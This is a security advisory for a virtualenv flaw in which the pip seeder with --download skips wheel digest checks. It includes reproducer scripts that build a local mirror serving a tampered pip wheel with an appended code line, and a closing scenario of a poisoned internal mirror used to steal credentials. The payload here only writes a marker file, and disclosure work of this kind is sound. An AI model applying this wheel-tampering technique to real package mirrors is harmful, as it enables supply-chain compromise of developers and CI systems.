CVE-2026-113717: virtualenv: pip seeder skips wheel digest check

## Summary The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification. Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Wheel selection by the pip seeder when downloads are enabled. ## Attacker-controlled input The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy. ## Affected code The relevant 21.14.8 source is in [pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py). ## Mechanism With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option. ## Reproduction and evidence The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel; `env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting `BUG`. Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left `PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. [PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with index lookup disabled. ## Attack sequence ```mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: get_wheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile from virtualenv.seed.wheels.embed import get_embed_wheel companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignore_errors=True) os.makedirs(work) # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network) bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}") pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json: json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json) # attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRROR_CODE_RAN" subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirror_wheel = f"{work}/mirror/pip/{bundled.name}" mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}") print(f"{bundled.name}: the mirror serves sha256 {mirror_sha256}") # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") as pip_conf: pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL os.makedirs(f"{work}/home-default") os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"] # control: the default seeder with --download fetches the mirror's wheel and refuses it default_seeder = subprocess.run( [*virtualenv, "--download", f"{work}/env-default"], env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"}, capture_output=True, text=True, ) refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")] print(f"\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}") print("\n".join(refusal)) # trigger: the same command plus --seeder pip pip_seeder = subprocess.run( [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"], env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"}, capture_output=True, text=True, ) print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}") print(pip_seeder.stdout) if pip_seeder.returncode == 0: env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True) print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}") # check: compare env-pip's pip/__init__.py with the one in each wheel with zipfile.ZipFile(bundled.path) as wheel: bundled_init = wheel.read("pip/__init__.py") with zipfile.ZipFile(mirror_wheel) as wheel: mirror_init = wheel.read("pip/__init__.py") installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py") installed_init = open(installed[0], "rb").read() if installed else b"" refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}" refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout print(f"default seeder refused the mirror's wheel for its digest: {refused}") print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}") print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}") print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK") ``` **`repro.d/make_mirror.py`** ```text #!/usr/bin/env python3 # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes> import os import sys import zipfile genuine_wheel, mirror, marker = sys.argv[1:] wheel_name = os.path.basename(genuine_wheel) payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n" os.makedirs(f"{mirror}/pip") with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served: for entry in genuine.infolist(): data = genuine.read(entry) if entry.filename == "pip/__init__.py": data += payload.encode() served.writestr(entry, data) # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index with open(f"{mirror}/pip/index.html", "w") as page: page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n') ``` **`repro.d/virtualenv_offline.py`** ```text #!/usr/bin/env python3 # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...> # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched. import sys from virtualenv.__main__ import run_with_catch from virtualenv.seed.wheels import periodic_update pypi_org = sys.argv[1] def pypi_json_api(url, context=None): return open(url.replace("https://pypi.org", pypi_org), "rb") periodic_update.urlopen = pypi_json_api run_with_catch(sys.argv[2:]) ``` ## Impact The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response. Severity: low. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output. Fix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430). ## Known mitigation On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.

An attacker compromises or poisons an internal PyPI mirror, or a developer's pip.conf points at one. The mirror serves a pip wheel with the same filename and version as the one virtualenv bundles, with a malicious line added to pip/__init__.py. An ML CI pipeline runs `virtualenv --seeder pip --download` to build a training environment. virtualenv skips its digest check and pip installs the tampered wheel. The next pip invocation in that environment runs the attacker's code, which can steal credentials, tamper with model dependencies or persist in build artifacts.